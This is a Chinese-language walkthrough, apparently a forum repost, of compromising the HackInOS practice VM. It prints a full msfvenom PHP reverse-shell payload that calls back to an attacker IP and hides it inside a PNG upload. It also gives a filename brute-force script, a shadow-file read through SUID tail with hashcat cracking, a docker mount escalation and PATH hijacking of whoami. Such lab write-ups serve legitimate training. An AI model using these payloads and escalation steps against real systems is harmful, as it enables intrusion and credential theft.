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漏洞、技术还是其他,我都想第一时间和你分享
来源:看雪论坛
作者:钞sir
链接:https://bbs.pediy.com/thread-252599.htm
简 介
HackinOS是一个渗透靶机,模拟真实的渗透环境,方便我们练习渗透方法,靶机下载地址...
攻击者:kali
受害者:HackInOS
渗透步骤
获取目标机器IP
因为我的靶机在虚拟机中网络用的NAT模式,所以靶机IP肯定和kali在同一个网络下,先利用nmap来扫描一波:
很明显,我们找到了目标机器的ip:192.168.88.133,并且发现开启了22和8000端口,在8000端口下面是一个http服务,而且有一个upload.php文件,猜测这里有一个上传文件漏洞....
利用文件上传漏洞
访问这个地址,确实发现有文件上传的功能:
然后我们右键查看源码,发现了一个hint:
给了我们一个guthub的连接,我们访问发现:
<!DOCTYPE html>
<html>
<body>
<div align
=
"center"
>
<form action
=
"
" method="
post
" enctype="
multipart
/
form
-
data">
<br>
<b>Select image : <
/
b>
<
input
type
=
"file"
name
=
"file"
id
=
"file"
style
=
"border: solid;"
>
<
input
type
=
"submit"
value
=
"Submit"
name
=
"submit"
>
<
/
form>
<
/
div>
<?php
/
/
Check
if
image
file
is
a actual image
or
fake image
if
(isset($_POST[
"submit"
])) {
$rand_number
=
rand(
1
,
100
);
$target_dir
=
"uploads/"
;
$target_file
=
$target_dir . md5(basename($_FILES[
"file"
][
"name"
].$rand_number));
$file_name
=
$target_dir . basename($_FILES[
"file"
][
"name"
]);
$uploadOk
=
1
;
$imageFileType
=
strtolower(pathinfo($file_name,PATHINFO_EXTENSION));
$
type
=
$_FILES[
"file"
][
"type"
];
$check
=
getimagesize($_FILES[
"file"
][
"tmp_name"
]);
if
($check[
"mime"
]
=
=
"image/png"
|| $check[
"mime"
]
=
=
"image/gif"
){
$uploadOk
=
1
;
}
else
{
$uploadOk
=
0
;
echo
":)"
;
}
if
($uploadOk
=
=
1
){
move_uploaded_file($_FILES[
"file"
][
"tmp_name"
], $target_file.
"."
.$imageFileType);
echo
"File uploaded /uploads/?"
;
}
}
?>
<
/
body>
<
/
html>
给了我们上传文件的源码,通过审查我们发现,只允许上传PNG或GIF格式的图片,校验方式是校验文件内容(实际校验的是文件开头几个标志文件类型的字节,PNG格式为0x890x500x4E0x470x0D0x0A0x1A0x0A,GIF格式为GIF98),没有校验文件后缀;然后通过校验的文件会保存在uploads目录中,但是文件名是一个随机生成的md5值,而后缀保持上传文件的后缀不变....
所以我们可以先做一个图片马,主要是反弹shell的马,我们利用Metasploit来生成:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.88.130 lport=4444 -f raw
把生成的payload:
/*<?php /**/ error_reporting(0); $ip = '192.168.88.130'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
保存在hack.php中,然后随便找一个png图片,将hack.php添加到图片中去,然后将png图片后缀改为php:
cat hack.php >> best.png
mv best.png sir.php
然后我们可以写一个python脚本来帮助我们找到并访问我们上传的木马:
import
hashlib
import
requests
for
i
in
range
(
101
):
file_name
=
hashlib.md5(
'sir.php'
+
str
(i)).hexdigest()
r
=
requests.get(
'http://192.168.88.133:8000/uploads/{}.php'
.
format
(file_name))
然后我们设置好我们的msfconsole,等待反弹shell的连接:
msf5 > use exploit
/
multi
/
handler
msf5 exploit(multi
/
handler) >
set
payload php
/
meterpreter
/
reverse_tcp
payload
=
> php
/
meterpreter
/
reverse_tcp
msf5 exploit(multi
/
handler) >
set
lhost
192.168
.
88.130
lhost
=
>
192.168
.
88.130
msf5 exploit(multi
/
handler) > exploit
然后我们就可以去网站上去上传木马,然后运行python脚本,然后看到我们已经获得了一个shell:
但是我们的权限很低.....
提权1
我们在Web目录中找到Wordpress的配置文件wp-config.php,看到了数据库连接信息:
<?php
/
*
*
*
The base configuration
for
WordPress
*
*
The wp
-
config.php creation script uses this
file
during the
*
installation. You don't have to use the web site, you can
*
copy this
file
to
"wp-config.php"
and
fill
in
the values.
*
*
This
file
contains the following configurations:
*
*
*
MySQL settings
*
*
Secret keys
*
*
Database table prefix
*
*
ABSPATH
*
*
@link https:
/
/
codex.wordpress.org
/
Editing_wp
-
config.php
*
*
@package WordPress
*
/
/
/
*
*
MySQL settings
-
You can get this info
from
your web host
*
*
/
/
/
*
*
The name of the database
for
WordPress
*
/
define(
'DB_NAME'
,
'wordpress'
);
/
*
*
MySQL database username
*
/
define(
'DB_USER'
,
'wordpress'
);
/
*
*
MySQL database password
*
/
define(
'DB_PASSWORD'
,
'wordpress'
);
/
*
*
MySQL hostname
*
/
define(
'DB_HOST'
,
'db:3306'
);
/
*
*
Database Charset to use
in
creating database tables.
*
/
define(
'DB_CHARSET'
,
'utf8'
);
/
*
*
The Database Collate
type
. Don't change this
if
in
doubt.
*
/
define(
'DB_COLLATE'
, '');
/
*
*
*
Authentication Unique Keys
and
Salts.
*
*
Change these to different unique phrases!
*
You can generate these using the {@link https:
/
/
api.wordpress.org
/
secret
-
key
/
1.1
/
salt
/
WordPress.org secret
-
key service}
*
You can change these at
any
point
in
time to invalidate
all
existing cookies. This will force
all
users to have to log
in
again.
*
*
@since
2.6
.
0
*
/
define(
'AUTH_KEY'
,
'b68c5e8cad4c8f8367efe2db89d7865e894d037d'
);
define(
'SECURE_AUTH_KEY'
,
'a7b32014b1898077ebe554d7284482aebeac92ae'
);
define(
'LOGGED_IN_KEY'
,
'e8b6f6b9b86e78127b8bfce51ed90151335d0140'
);
define(
'NONCE_KEY'
,
'39f17a336c6000ca5d7929be883be09131dc31e1'
);
define(
'AUTH_SALT'
,
'dbf7b92510a931b835a8b82eec8fd1adbaad487f'
);
define(
'SECURE_AUTH_SALT'
,
'632f4f59a75363a72b7b526d8b69718fc89a5c07'
);
define(
'LOGGED_IN_SALT'
,
'614056ec3ba0011dcdb83422b44238045627750e'
);
define(
'NONCE_SALT'
,
'48e539381259ccc664202943d14359572f23638b'
);
/
*
*
/
*
*
*
WordPress Database Table prefix.
*
*
You can have multiple installations
in
one database
if
you give each
*
a unique prefix. Only numbers, letters,
and
underscores please!
*
/
$table_prefix
=
'wp_'
;
/
*
*
*
For developers: WordPress debugging mode.
*
*
Change this to true to enable the display of notices during development.
*
It
is
strongly recommended that plugin
and
theme developers use WP_DEBUG
*
in
their development environments.
*
*
For information on other constants that can be used
for
debugging,
*
visit the Codex.
*
*
@link https:
/
/
codex.wordpress.org
/
Debugging_in_WordPress
*
/
define(
'WP_DEBUG'
, false);
/
/
If we're behind a proxy server
and
using HTTPS, we need to alert Wordpress of that fact
/
/
see also http:
/
/
codex.wordpress.org
/
Administration_Over_SSL
if
(isset($_SERVER[
'HTTP_X_FORWARDED_PROTO'
]) && $_SERVER[
'HTTP_X_FORWARDED_PROTO'
]
=
=
=
'https'
) {
$_SERVER[
'HTTPS'
]
=
'on'
;
}
/
*
That's
all
, stop editing! Happy blogging.
*
/
/
*
*
Absolute path to the WordPress directory.
*
/
if
( !defined(
'ABSPATH'
) )
define(
'ABSPATH'
, dirname(__FILE__) .
'/'
);
/
*
*
Sets up WordPress
vars
and
included files.
*
/
require_once(ABSPATH .
'wp-settings.php'
);
然后我们上传一个Linux提权信息收集脚本linuxprivchecker.py:
然后运行这个脚本:
meterpreter > chmod
744
/
tmp
/
linuxprivchecker.py
meterpreter > shell
Process
141
created.
Channel
10
created.
python
/
tmp
/
linuxprivchecker.py
仔细阅读脚本输出的内容,我们发现到tail被设置了SUID:
直接用tail读取shadow文件:
meterpreter > shell
Process
344
created.
Channel
3
created.
tail
-
c1G
/
etc
/
shadow
root:$
6
$qoj6
/
JJi$FQe
/
BZlfZV9VX8m0i25Suih5vi1S
/
/
OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova
/
:
17951
:
0
:
99999
:
7
:::
daemon:
*
:
17931
:
0
:
99999
:
7
:::
bin
:
*
:
17931
:
0
:
99999
:
7
:::
sys:
*
:
17931
:
0
:
99999
:
7
:::
sync:
*
:
17931
:
0
:
99999
:
7
:::
games:
*
:
17931
:
0
:
99999
:
7
:::
man:
*
:
17931
:
0
:
99999
:
7
:::
lp:
*
:
17931
:
0
:
99999
:
7
:::
mail:
*
:
17931
:
0
:
99999
:
7
:::
news:
*
:
17931
:
0
:
99999
:
7
:::
uucp:
*
:
17931
:
0
:
99999
:
7
:::
proxy:
*
:
17931
:
0
:
99999
:
7
:::
www
-
data:
*
:
17931
:
0
:
99999
:
7
:::
backup:
*
:
17931
:
0
:
99999
:
7
:::
list
:
*
:
17931
:
0
:
99999
:
7
:::
irc:
*
:
17931
:
0
:
99999
:
7
:::
gnats:
*
:
17931
:
0
:
99999
:
7
:::
nobody:
*
:
17931
:
0
:
99999
:
7
:::
_apt:
*
:
17931
:
0
:
99999
:
7
:::
这里得到了root用户密码的hash值,我们先把hash值保存到文件root.hash中,然后利用hashcat破解它:
root@kali:~# hashcat -w 3 -a 0 -m 1800 -o root.out root.hash /usr/share/metasploit-framework/data/wordlists/common_roots.txt --force
得到密码:john
root@kali:~
$
6
$qoj6
/
JJi$FQe
/
BZlfZV9VX8m0i25Suih5vi1S
/
/
OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova
/
:john
于是我们su root,但是发现:
su root
su: must be run
from
a terminal
所以我们用python伪造一个终端,然后来su root:
python -c "import pty;pty.spawn('/bin/bash');"
然后拿到了flag:
root@
1afdd1f6b82c
:
/
var
/
www
/
html
cd
root@
1afdd1f6b82c
:~
ls
flag
root@
1afdd1f6b82c
:~
cat flag
Life consists of details..
横向渗透
很明显这不是真正的flag,我们刚才还得到了一个数据库密码,所以我们登录看看:
我们这里发现一个用户名和密码,之前扫描端口是发现一个22端口,所以这个可能是ssh的登录信息,这个密码md5解密出来后是123456;
我们登录试试:
登录成功,但是我们发现权限还是低,所以这里又要提权....
提权2
我们看这个用户名特别像在docker里面,查看一下:
hummingbirdscyber@vulnvm:~$
id
uid
=
1000
(hummingbirdscyber) gid
=
1000
(hummingbirdscyber) groups
=
1000
(hummingbirdscyber),
4
(adm),
24
(cdrom),
30
(dip),
46
(plugdev),
113
(lpadmin),
128
(sambashare),
129
(docker)
确实是,因为docker权限就能读到/root中的文件了,所以可以利用docker run的-v参数,将/root挂载到容器中:
docker run -it -v /root:/root ubuntu:latest /bin/bash
成功获得flag:
命令劫持
其实最后一个提取,我们还可以利用命令劫持的方法,因为我们发现在目标机器的desktop上面有一个程序,运行之后会输出root字样,然后用strings命令还看到了whoami字样:
所以,我们猜测这个程序是root权限并且程序里面掉用了system("whoami")命令,所以我们可以把想办法把whoami这个命令在机器上替换为system("/bin/bash"),利用pwn的思想来提取;
查找一下PATH的位置:
现在命令劫持就非常方便了;
whoami.c:
int
main(void) {
system(
"/bin/bash"
);
return
0
;
}
然后我们编译它得到可执行文件whoami,然后在创建一个bin文件夹,将whoami放进去:
最后运行a.out程序即可提取:
凌天实验室,是安百科技旗下针对应用安全领域进行攻防研究的专业技术团队,其核心成员来自原乌云创始团队及社区知名白帽子,团队专业性强、技术层次高且富有实战经验。实验室成立于2016年,发展至今团队成员已达35人,在应用安全领域深耕不辍,向网络安全行业顶尖水平攻防技术团队的方向夯实迈进。